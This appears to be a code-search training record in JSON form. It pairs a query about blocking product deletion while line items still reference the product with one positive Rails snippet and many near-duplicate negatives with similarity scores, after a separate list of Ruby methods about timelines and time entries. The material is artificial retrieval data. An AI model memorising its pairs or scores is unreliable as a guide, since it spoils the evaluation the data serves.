"def time_entries(start_date, end_date)\n opts = {\n params: {\n start_date: start_date.to_datetime.iso8601,\n end_date: end_date.to_datetime.iso8601\n }\n }\n\n begin\n response = toggl_resource['time_entries'].get(opts)\n rescue => e\n raise 'Error getting Toggl data: ' + e.response\n end\n data = JSON.parse response\n\n data.map do |entry|\n duration = entry['duration'].to_f\n\n # Negative duration means the task is currently running.\n # In this case, we'll set duration to how long it's been running\n if duration < 0\n duration = Time.now - Time.at(duration.abs)\n end\n\n {\n description: entry['description'],\n start: Date.parse(entry['start']),\n duration: duration\n }\n end\n end",
"def linked_timezone_identifiers; end",
"def linked_timezone_identifiers; end",
"def linked_timezone_identifiers; end",
"def linked_timezone_identifiers; end",
"def index\n @interviewschedulers = Interviewscheduler.all\n\n end",
"def show\n timeline\n end",
"def lines\n @transcript_lines\n end",
"def lines; end",
"def lines; end",
"def index\n @timelines = Timeline.search(params[:search]).order(sort_column + \" \" + sort_direction).paginate(:per_page => 10, :page => params[:page])\n end",
"def lines\n self\n end",
"def show\n @pomodoro = find_pomodoro\n @timelines = @pomodoro.timelines.latest\n @task = @pomodoro.task\n end",
"def speeches\n self.time_slots\n end",
"def find_timeline match_id\n DynamicModel.new perform_request api_url \"timelines/by-match/#{match_id}\"\n end",
"def update_timelines\n TimelineEntry.create(user: user, tweet: self)\n Resque.enqueue(UpdateTimeline, id)\n end",
"def timeslips(start_date = DateTime.now, end_date = start_date, reload = false)\n self.cache(CostAgent::Timeslip, \"#{start_date.strftime(\"%Y-%m-%d\")}_#{end_date.strftime(\"%Y-%m-%d\")}\", reload) do\n timeslips = (self.api(\"timeslips\", :view => \"#{start_date.strftime(\"%Y-%m-%d\")}_#{end_date.strftime(\"%Y-%m-%d\")}\")/\"timeslip\").collect do |timeslip|\n # Find the project and hours for this timeslip\n project = self.project((timeslip/\"project-id\").text.to_i)\n if project\n task = self.tasks(project.id).detect { |t| t.id == (timeslip/\"task-id\").text.to_i }\n hours = (timeslip/\"hours\").text.to_f\n cost = (task.nil? ? project : task).hourly_billing_rate * hours\n # Build the timeslip out using the timeslip data and the project it's tied to\n Timeslip.new(\n :id => (timeslip/\"id\").text.to_i,\n :project_id => project.id,\n :project => project,\n :task_id => task.nil? ? nil : task.id,\n :task => task,\n :hours => hours,\n :date => DateTime.parse((timeslip/\"dated-on\").text),\n :cost => cost,\n :comment => (timeslip/\"comment\").text,\n :status => (timeslip/\"status\").text)\n else\n nil\n end\n end - [nil]\n end\n end",
"def timeline\n config = create_or_find_config\n \n timeline = :friends\n timeline = ARGV.shift.intern if ARGV.size > 0 && Twitter::Base.timelines.include?(ARGV[0].intern)\n \n puts\n Twitter::Base.new(config['email'], config['password']).timeline(timeline).each do |s|\n puts \"#{s.text}\\n-- #{s.user.name} at #{s.created_at}\"\n puts\n end\n end",
"def printTimeRecords(dateBegin, dateEnd)\n tasks = []\n self.traverse_preorder() {|brick, depth|\n #print \" \" * depth, \"#{brick['brick']}:\\n\"\n brick['timeWorked'].each{ |tr|\n if(tr.inRange(dateBegin,dateEnd)) \n #print \" \" * (depth+1), tr, \"\\n\"\n #print \" \" * (depth+1), tr, \"\\n\"\n print \"\\t\", tr, \"--\", brick['brick'],\"\\n\"\n end\n tasks.push(tr)\n }\n }\n tasks\n end",
"def get_ruling_lines!\n self.get_rulings\n end",
"def find_station_lines(station) #calling the relationship between the station and the station line\n station.station_lines\n end",
"def realtime_lifetime\n get_realtime_views(self)\n end",
"def index\n @translated_lines = TranslatedLine.all\n end",
"def timeslots\n data['timeslots'].map { |ts|\n Timeslot.new(\n Time.at(ts['start_date']),\n Time.at(ts['end_date'] || ts['start_date']),\n data['timezone']\n )\n }.reject(&:finished?).sort_by(&:start_date)\n end",
"def tasks_for_timeline\n tasks_f_time ||= []\n milestones.each do |mile|\n mile.tasks.each do |task|\n task.update(start_date: start_date) if task.start_date.nil?\n task.update(end_date: task.start_date + task.pm_duration_estimation.days) if task.end_date.nil?\n tasks_f_time << [task.name + ' | ' + mile.name + ' | ' + task.advance_percentage.to_s + \"% \", task.start_date, task.end_date]\n end\n end\n tasks_f_time\n end",
"def timelines_quickview\n @total_timelines = Timeline.count()\n @total_users = User.count()\n @total_events = Event.count()\n @total_tags = Tag.count()\n @timelines_authors_summary = Timeline.select(\"owner_id as his_id, count(*) as his_count\").group(\"owner_id\").order(\"his_count DESC\")\n @authors_details = Hash.new\n \n @timelines_authors_summary.each do |each_author_summary|\n user_entry = nil\n begin\n user_entry = User.find(each_author_summary.his_id)\n rescue\n end\n @authors_details[each_author_summary.his_id] = user_entry\n end\n \n render :template => \"timelines/timelines_quickview\", :formats => [:html], :handlers => :haml \n end",
"def timelines_quickview\n @total_timelines = Timeline.count()\n @total_users = User.count()\n @total_events = Event.count()\n @total_tags = Tag.count()\n @timelines_authors_summary = Timeline.select(\"owner_id as his_id, count(*) as his_count\").group(\"owner_id\").order(\"his_count DESC\")\n @authors_details = Hash.new\n \n @timelines_authors_summary.each do |each_author_summary|\n user_entry = nil\n begin\n user_entry = User.find(each_author_summary.his_id)\n rescue\n end\n @authors_details[each_author_summary.his_id] = user_entry\n end\n \n render :template => \"timelines/timelines_quickview\", :formats => [:html], :handlers => :haml \n end",
"def lines(member=nil)\n\t\tlines = Array.new(14)\n\t\treturn if timecard_entries.nil?\n\t\ttimecard_entries.each do |timecard_entry|\n\t\t\tnext unless member.nil? or member == timecard_entry.member\n\t\t\t#calculate index of array corresponding to the day the eventdate is on\n\t\t\tidx = ((timecard_entry.eventdate.startdate - (billing_date - 2*WEEK))/(DAY).to_i - 1) % 14\n\t\t\t# try to put this timecard entry on the day of the event; if that\n\t\t\t# isn't possible, try the next day, and continue until we find a day\n\t\t\t# where we can put this timecard entry (or we've tried everything\n\t\t\t# and there's no room)\n\t\t\tunless try_add_entry(timecard_entry, idx, lines)\n\t\t\t\tnew_idx = (idx + 1) % 14\n\t\t\t\twhile (new_idx != idx and !try_add_entry(timecard_entry, new_idx))\n\t\t\t\t\tnew_idx = (new_idx + 1) % 14\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\treturn lines\n\tend",
"def monthly_timesheet\n \n end",
"def set_time_line\n @time_line = TimeLine.find(params[:id])\n end",
"def response_time_entries\n response_time_entries_raw = wrapper(@user).time_entries(1, harvest_project_id)\n\n # Getting the number of pages of the paginated response from projects API\n number_of_pages = response_time_entries_raw['total_pages']\n\n response_time_entries_per_project = []\n\n if number_of_pages == 1\n response_time_entries_per_project = response_time_entries_raw.dig('time_entries')\n else\n # for loop to loop through all the pages and fetch all and put into the variable response_time_entries_per_project\n\n (1..number_of_pages).each do |i|\n time_entries_raw = wrapper(@user).time_entries(i, harvest_project_id)\n\n next_array = time_entries_raw['time_entries']\n\n # add projects array to complete array\n response_time_entries_per_project += next_array\n end\n\n end\n response_time_entries_per_project\n end",
"def schedule\n # implemented by subclass\n end",
"def index\n @timed_tasks = TimedTask.all\n end",
"def list_of_tmms\n super\n end",
"def list; @schedule_lock.synchronize { @schedule.dup } end",
"def timeRecordsForDate(brick, date)\n end",
"def index\n @timetables = Timetable.all\n end",
"def venue_times\n\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = PublicTimelineResultSet.new(resp)\n return results\n end",
"def timezones\n @timezones.freeze\n end",
"def index\n @machine_time_rules = MachineTimeRule.all\n end",
"def time_entry(id)\n object_from_response(:get, \"time_entries/#{id}\", \"time-entry\")\n end",
"def load_timeline\n @timeline = if @which_timeline\n load_timeline_from_api @which_timeline\n elsif @new_status\n timeline = load_timeline_from_api\n if timeline.map(&:id).include?(@new_status.id)\n @new_status = nil\n else\n timeline = [@new_status] + timeline\n end\n timeline\n elsif testing_ui?\n update_fixture_file load_timeline_from_api if not File.exist?(timeline_fixture_path)\n load_timeline_from_cache\n else\n load_timeline_from_api\n end || []\n \n @timeline = @timeline.first(10)\n \n update_fixture_file @timeline\n end",
"def custom_latest_headlines\r\n @start = (params[:start] || 0).to_i # convert to an integer\r\n @per_page = (params[:per_page] || 10).to_i # convert to an integer\r\n\r\n @custom_topic = params[:custom_topic]\r\n\r\n @count = 0 # temporarily disdable @is_remaining to save our requests while developing\r\n # full breakdown of 'is_remaining' in lib -> my_news_api -> client\r\n #@is_remaining = custom_newsapi_client.headlines_count(@start, @per_page, @custom_topic)\r\n\r\n @headlines = custom_newsapi_client.top_headlines(@start, @per_page, @custom_topic)\r\n end",
"def get_time_entries(start_date=nil, end_date=nil)\n options = Hash.new\n options[\"start_date\"] = iso8601_date(start_date) if start_date\n options[\"end_date\"] = iso8601_date(end_date) if end_date\n get \"/time_entries\", options\n end",
"def load_realtime_data\n proto = Net::HTTP.get(URI.parse(realtime_url))\n data = Transit_realtime::FeedMessage.decode(proto)\n\n schedule_data = []\n data.entity.each do |entity|\n if entity.field?(:trip_update)\n schedule_data << entity.trip_update.to_hash_value\n end\n end\n schedule_data\n end",
"def schedule\n # obtain list of required courses\n course_titles = RequiredCourse.all\n\n # obtains Courses associated with each of these titles\n courses = []\n course_titles.each do |ct|\n courses.push(Course.where(subject: Subject.where(department: ct.department), courseId: ct.courseId).first)\n end\n\n return schedule_courses(courses, [[]])\n\n\n end",
"def scope_by_time(time_boundaries)\n start_time, end_time = time_boundaries\n scope_end = num_lines - 1\n # short circuit the search if possible\n if (time_at(0) > end_time) or (time_at(-1) < start_time)\n @lines = []\n return @lines\n end\n scope_begin = find_first(start_time, 0, scope_end)\n scope_end = find_last(end_time, scope_begin, scope_end)\n @lines = @lines[scope_begin..scope_end]\n end",
"def display_timeline\n timeline_search_results = []\n TWITTER.home_timeline.each do |tweet|\n timeline_search_results << [tweet.user.name, tweet.text]\n # binding.pry\n end\n timeline_search_results\n end",
"def time_entry(id:)\n ::TimeEntry.find_by(id: id)\n end",
"def timeline( end_time=Time.now )\n Encounter.where('user_id = (?)',self.id).where('created_at <= (?)', end_time)\n end",
"def lines\n load_data unless @lines\n @lines\n end",
"def timeline(options={})\n self.class.parse_user_timeline(request(singular(user_id) + \"/timeline\", options))\n end",
"def display_schedules\n puts label\n puts scheduled_meetings\n end",
"def timeline\n index\n new\n end",
"def timeline( end_time=Time.now )\n Encounter.where('id in (?)',self.rounds.pluck(:encounter_id))\n end",
"def index\n @timetable_entries = TimetableEntry.all\n end",
"def index\n unless logged_in?\n require_user\n return\n end\n\n @duration = @project.duration\n @times = @project.project_times.order(:date_time)\n end",
"def time_fragments\n []\n end"
] | [
"0.7140679",
"0.6730209",
"0.6504515",
"0.6331892",
"0.61975807",
"0.617406",
"0.5916394",
"0.58452445",
"0.578041",
"0.57137537",
"0.56786424",
"0.5615014",
"0.5595368",
"0.5590223",
"0.5578347",
"0.5524757",
"0.55179787",
"0.55016285",
"0.55016285",
"0.548186",
"0.54776436",
"0.5477002",
"0.54700845",
"0.5444475",
"0.5440057",
"0.5434984",
"0.5428197",
"0.5416946",
"0.54051423",
"0.54051423",
"0.53456634",
"0.5331266",
"0.53134644",
"0.53119034",
"0.53110343",
"0.53027374",
"0.53008854",
"0.5297709",
"0.5285329",
"0.5285125",
"0.52831984",
"0.5282854",
"0.52663416",
"0.52663416",
"0.52663416",
"0.52663416",
"0.5260861",
"0.5260471",
"0.52563596",
"0.5253459",
"0.5253459",
"0.52375764",
"0.523309",
"0.52272445",
"0.52249396",
"0.5205824",
"0.5205144",
"0.51954883",
"0.51946324",
"0.5191599",
"0.5182665",
"0.51823866",
"0.5180896",
"0.5180237",
"0.51802367",
"0.5173363",
"0.5158874",
"0.5158874",
"0.5145674",
"0.5132874",
"0.5125584",
"0.51198757",
"0.51157385",
"0.5096064",
"0.50856185",
"0.5082063",
"0.5078721",
"0.5077333",
"0.5076304",
"0.5074338",
"0.50715905",
"0.5067248",
"0.50672215",
"0.5063843",
"0.5058564",
"0.50466883",
"0.5038465",
"0.5030625",
"0.5023196",
"0.5011006",
"0.5002192",
"0.50017357",
"0.4999206",
"0.49968874",
"0.49880555",
"0.4986477",
"0.49836785",
"0.4972342",
"0.49722487",
"0.49718404"
] | 0.57934517 | 8 |
ensure that there are no line items referencing this product | def ensure_not_referenced_by_any_line_item
if line_items.empty?
return true
else
errors.add(:base, 'Existe linha de item')
return false
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def ensure_not_referenced_by_any_line_item\n\t\t\tunless line_items.empty?\n\t\t\t\terrors.add(:base, 'Line items reference this product')\n\t\t\t\tthrow :abort\n\t\t\tend\n\t\tend",
"def ensure_not_referenced_by_any_line_item_product\n unless line_item_products.empty?\n errors.add(:base, 'Line Items Products present')\n throw :abort\n end\n end",
"def ensure_not_referenced_by_any_line_item\n unless line_items.empty?\n raise Error.new \"Line Items present\"\n end\n end",
"def ensure_not_referenced_by_any_line_item\n\t\tunless line_items.empty?\n\t\t\terrors.add(:base, 'Line Items Presents')\n\t\t\tthrow :abort\n\t\tend\n\tend",
"def ensure_not_referenced_by_any_line_item\n\t\tif line_items.empty?\n\t\t\treturn true\n\t\telse\n\t\t\terrors.add(:base, 'Product sedang di referensikan oleh Line Item')\n\t\t\treturn false\n\t\tend\n\tend",
"def ensure_not_referenced_by_any_line_item\n\t\tunless line_items.empty?\n\t\t\terrors.add(:base, 'Line Items present')\n\t\t\tthrow :abort\n\t\tend\n\tend",
"def ensure_not_referenced_by_any_line_item #in this case before destroy a row in the database\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Itens present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n return if line_items.empty?\n\n errors.add(:base, \"Line Items present\")\n throw :abort\n end",
"def ensure_not_referenced_by_any_line_item\n unless line_items.empty?\n errors.add(:base, 'Line Items Present')\n throw :abort\n end\n end",
"def ensure_not_referenced_by_any_line_item\n unless line_items.empty?\n errors.add(:base, 'Line Items present')\n throw :abort\n end\n end",
"def ensure_not_referenced_by_any_line_item\n\t\tif line_items.count.zero?\n\t\t\treturn true\n\t\telse\n\t\t\terrors[:base] << \"Line Items Prsent\"\n\t\t\treturn false\n\t\tend\n\tend",
"def ensure_not_referenced_by_any_line_item\r\n\t\tunless line_items.empty?\r\n\t\t\terrors.add(:base, 'Line Items Present')\r\n\t\t throw :abort\r\n\t\tend\r\n\t\r\n\tend",
"def ensure_not_referenced_by_any_line_item\n unless line_items.empty?\n errors.add(:base, 'Line Items present')\n throw :abort\n end\n end",
"def ensure_not_referenced_by_any_line_item\n unless line_items.empty?\n errors.add(:base, 'Line Items present')\n throw :abort\n end\n end",
"def ensure_not_referenced_by_any_line_item\n unless line_items.empty?\n errors.add(:base, 'Line Items present')\n throw :abort\n end\n end",
"def ensure_not_referenced_by_any_line_item # hook method (a method that Rails calls automatically at a given point in an object’s life)\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n unless line_items.empty?\n errors.add(:base, 'Line Items present')\n throw :abort\n end\n end",
"def ensure_not_referenced_by_any_line_item\n unless line_items.empty?\n errors.add(:base, 'Line Items present')\n throw :abort\n end\n end",
"def ensure_not_referenced_by_any_line_item\n unless line_items.empty?\n errors.add(:base, 'Line Items present')\n throw :abort\n end\n end",
"def ensure_not_referenced_by_any_line_item\n unless line_items.empty?\n errors.add(:base, 'Line items present')\n throw :abort\n end\n end",
"def ensure_not_referenced_by_any_line_item\n unless line_items.empty?\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item \n if line_items.empty?\n return true \n else\n errors.add(:base, 'Line Items present')\n return false \n end\n end",
"def ensure_not_referenced_by_any_line_item\n unless line_items.empty?\n errors.add(:base, \"Line Items present\")\n throw :abort\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Istnieja powiazania z Line Items')\n return false;\n end\n end",
"def ensure_not_referenced_by_any_line_item\n\t\tif line_items.count.zero?\n\t\t\treturn true\n\t\telse\n\t\t\terrors.add(:base, 'Line Items present')\n\t\t\treturn false\n\t\tend\n\tend",
"def ensure_not_referenced_by_any_line_item\n\t\tif line_items.count.zero?\n\t\t\treturn true\n\t\telse\n\t\t\terrors.add(:base, 'Line Items present' )\n\t\t\treturn false\n\t\tend\n\tend",
"def ensure_not_referenced_by_any_line_item\n\t\tif line_items.count.zero?\n\t\t\treturn true\n\t\telse\n\t\t\terrors.add(:base, 'Line Items present' )\n\t\t\treturn false\n\t\tend\n\tend",
"def ensure_not_referenced_by_any_line_item\n if line_items.count.zero?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n \tif line_items.empty?\n \t\treturn true\n \telse\n \t\terrors.add(:base, 'Line Items Present')\n \t\treturn false\n \tend\n end",
"def ensure_not_referenced_by_any_line_item\n\t\tif line_items.count.zero?\n\t\t\treturn true\n\t\telse\n\t\t\terrors[:base] << \"Line Items present\"\n\t\t\treturn false\n\t\tend\n\tend",
"def ensure_not_referenced_by_any_line_item\n\t\tif line_items.empty?\n\t\t\treturn true\n\t\telse\n\t\t\terrors.add(:base,'Line Items present') #We associate errors with the base object\n\t\t\treturn false\n\t\tend\n\tend",
"def ensure_not_referenced_by_any_line_items\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items Present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n\t\tif line_items.emty?\n\t\t\treturn true\n\t\tesle\n\t\t\terrors.add(:base, 'Line Items present')\n\t\t\treturn false\n\t\tend\n\tend",
"def ensure_not_referenced_by_any_line_item \n \tif line_items.empty?\n return true \n else\n errors.add(:base, 'Line Items present')\n return false \n end\n end",
"def ensure_not_referenced_by_any_line_item\n\t\t\tif line_items.empty?\n\t\t\t\treturn true \n\t\t\telse\n\t\t\t\terrors.add(:base, 'Line Items present')\n\t\t\t\treturn false \n\t\t\tend\n\t\tend",
"def ensure_not_referenced_by_any_line_item\n\t\tif line_items.count.zero?\n\t\t\treturn true\n\t\t\telse\n\t\t\terrors.add(:base, 'Line Items present' )\n\t\t\treturn false\n\t\t\tend\n\tend",
"def ensure_not_referenced_by_any_line_item\n if line_items.count.zero?\n return true\n else\n errors[:base] << \"Line Items present\"\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.count.zero?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.count.zero?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.count.zero?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n\tif line_items.empty?\n \t return true\n \telse\n \t errors.add(:base, 'Line Items present' )\n \treturn false\n \tend\n end",
"def ensure_not_referenced_by_any_line_item\n \tif line_items.empty?\n \t\treturn true\n \telse\n \t\terrors.add(:base, 'Line Items present')\n \t\treturn false\n \tend \t\t\n end",
"def ensure_not_referenced_by_any_line_item \n\t\tif line_items.empty?\n\t\t\treturn true \n\t\telse\n\t\t\terrors.add(:base, 'Line Items present')\n\t\treturn false\n\t\tend\n\tend",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n\tif line_items.empty?\n\treturn true\n\telse\n\terrors.add(:base, 'Line Items present')\n\treturn false\n\tend\n\tend",
"def ensure_not_referenced_by_any_line_item \n if line_items.empty?\n return true \n else\n errors.add(:base, 'Line Items present')\n return false \n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n\t return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item \n if line_items.empty?\n return true \n else\n errors.add(:base, 'Line Items present')\n return false \n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_item1s.count.zero?\n return true\n else\n errors[:base] << \"Line Items present\"\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n\t\tif line_items.empty?\n\t\t return true\n\t \telse\n\t \t errors.add(:base, 'Line Items present')\n\t return false\n\t end\n end",
"def ensure_not_referenced_by_any_line_item\n\t\t\tif line_items.empty?\n\t\t\t\treturn true\n\t\t\telse\n\t\t\t\terrors.add(:base, 'Line Items present')\n\t\t\t\treturn false\n\t\t\tend\n\t\tend",
"def ensure_not_referenced_by_any_line_item\n\t\t\tif line_items.empty?\n\t\t\t\treturn true\n\t\t\telse\n\t\t\t\terrors.add(:base, 'Line Items present')\n\t\t\t\treturn false\n\t\t\tend\n\t\tend",
"def ensure_not_referenced_by_any_line_item\n\t\t\tif line_items.empty?\n\t\t\t\treturn true\n\t\t\telse\n\t\t\t\terrors.add(:base, 'Line Items present')\n\t\t\t\treturn false\n\t\t\tend\n\t\tend",
"def ensure_not_referenced_by_any_line_item\n\t\t\tif line_items.empty?\n\t\t\t\treturn true\n\t\t\telse\n\t\t\t\terrors.add(:base, 'Line Items present')\n\t\t\t\treturn false\n\t\t\tend\n\t\tend",
"def ensure_not_referenced_by_any_line_item\n\t\t\tif line_items.empty?\n\t\t\t\treturn true\n\t\t\telse\n\t\t\t\terrors.add(:base, 'Line Items present')\n\t\t\t\treturn false\n\t\t\tend\n\t\tend",
"def ensure_not_referenced_by_any_line_item\n\t\t\tif line_items.empty?\n\t\t\t\treturn true\n\t\t\telse\n\t\t\t\terrors.add(:base, 'Line Items present')\n\t\t\t\treturn false\n\t\t\tend\n\t\tend",
"def ensure_not_referenced_by_any_line_item\n\t\t\tif line_items.empty?\n\t\t\t\treturn true\n\t\t\telse\n\t\t\t\terrors.add(:base, 'Line Items present')\n\t\t\t\treturn false\n\t\t\tend\n\t\tend",
"def ensure_not_referenced_by_any_line_item\n if line_items.count.zero?\n return true\n else\n errors[:base] << \"Line Items present\"\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n\tif line_items.count.zero?\n\treturn true\n\telse\n\terrors[:base] << \"Line Items present\"\n\treturn false\n\tend\nend",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n\t\tif line_items.empty?\n\t\t\treturn true\n\t\telse\n\t\t\terrors.add(:base, 'Line Items present')\n\t\t\treturn false\n\t\tend\n\tend",
"def ensure_not_referenced_by_any_line_item\n\t\tif line_items.empty?\n\t\t\treturn true\n\t\telse\n\t\t\terrors.add(:base, 'Line Items present')\n\t\t\treturn false\n\t\tend\n\tend",
"def ensure_not_referenced_by_any_line_item\n\t\tif line_items.empty?\n\t\t\treturn true\n\t\telse\n\t\t\terrors.add(:base, 'Line Items present')\n\t\t\treturn false\n\t\tend\n\tend",
"def ensure_not_referenced_by_any_line_item\n\t\tif line_items.empty?\n\t\t\treturn true\n\t\telse\n\t\t\terrors.add(:base, 'Line Items present')\n\t\t\treturn false\n\t\tend\n\tend",
"def ensure_not_referenced_by_any_line_item\n\t\tif line_items.empty?\n\t\t\treturn true\n\t\telse\n\t\t\terrors.add(:base, 'Line Items present')\n\t\t\treturn false\n\t\tend\n\tend",
"def ensure_not_referenced_by_any_line_item\n\t\tif line_items.empty?\n\t\t\treturn true\n\t\telse\n\t\t\terrors.add(:base, 'Line Items present')\n\t\t\treturn false\n\t\tend\n\tend",
"def ensure_not_referenced_by_any_line_item\n\t\tif line_items.empty?\n\t\t\treturn true\n\t\telse\n\t\t\terrors.add(:base, 'Line Items present')\n\t\t\treturn false\n\t\tend\n\tend",
"def ensure_not_referenced_by_any_line_item\n \t if line_items.empty?\n \t \treturn true\n \t else\n \t \terrors.add(:base, 'Line items present')\n \t \treturn false\n \t end\n \tend",
"def ensure_not_referenced_by_any_line_item\n if line_items.count.zero?\n return true\n else\n errors[:base] << \"Line Items present\" #这是什么意思\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n\t\t\tif line_items.empty?\n\t\t\t\treturn true\n\t\t\telse\n\t\t\t\terrors.add(:base, 'Line Items present')\n\t\t\t\treturn false\n\t\tend\n\tend",
"def ensure_not_referenced_by_any_line_item\n if line_items.count.zero?\n return true\n else\n errors[:base] << \"Line Items present\"\n return false\n end \n end",
"def ensure_not_referenced_by_any_line_item\n\t\tif line_items.empty?\n\t\t\treturn true\n\t\telse\n\t\t\terrors.add(:base, 'Line items present')\n\t\t\treturn false\n\t\tend\n\tend",
"def ensure_not_referenced_by_any_line_item\n\t if line_items.count.zero?\n\t\t return true\n\t else\n\t\t errors[:base] << \"Line Items present\"\n\t\t return false\n\t end\n\tend",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n unless line_items.empty?\n errors.add(:base, 'Line Items present')\n throw :abort\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end",
"def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end"
] | [
"0.87354815",
"0.85389805",
"0.828825",
"0.82455605",
"0.82218575",
"0.82053775",
"0.8205119",
"0.8158083",
"0.81312025",
"0.8103242",
"0.81006294",
"0.8083884",
"0.8075141",
"0.8075141",
"0.80551374",
"0.80364364",
"0.80186886",
"0.80186886",
"0.80186886",
"0.80156267",
"0.8009485",
"0.80085886",
"0.8004667",
"0.79825646",
"0.7981658",
"0.797143",
"0.797143",
"0.79668105",
"0.7961833",
"0.79605544",
"0.7959474",
"0.79523367",
"0.7945673",
"0.79433954",
"0.7941487",
"0.79412997",
"0.79389167",
"0.7932595",
"0.7932595",
"0.7932595",
"0.7925179",
"0.7918251",
"0.7915596",
"0.7914911",
"0.7913168",
"0.79113287",
"0.79097235",
"0.79095805",
"0.7909237",
"0.7909155",
"0.7907631",
"0.79035085",
"0.7903234",
"0.7903234",
"0.7903234",
"0.7903234",
"0.7903234",
"0.7903234",
"0.7903234",
"0.79010814",
"0.7897273",
"0.78941053",
"0.78928864",
"0.78927654",
"0.78927654",
"0.78927654",
"0.78927654",
"0.78927654",
"0.78927654",
"0.78927654",
"0.7890738",
"0.78868437",
"0.78833836",
"0.7882212",
"0.7872061",
"0.78590614",
"0.7854177",
"0.78537387",
"0.78537387",
"0.78537387",
"0.78537387",
"0.78537387",
"0.78537387",
"0.78537387",
"0.78537387",
"0.78537387",
"0.78537387",
"0.78537387",
"0.78537387",
"0.78537387",
"0.78537387",
"0.78537387",
"0.78537387",
"0.78537387",
"0.78537387",
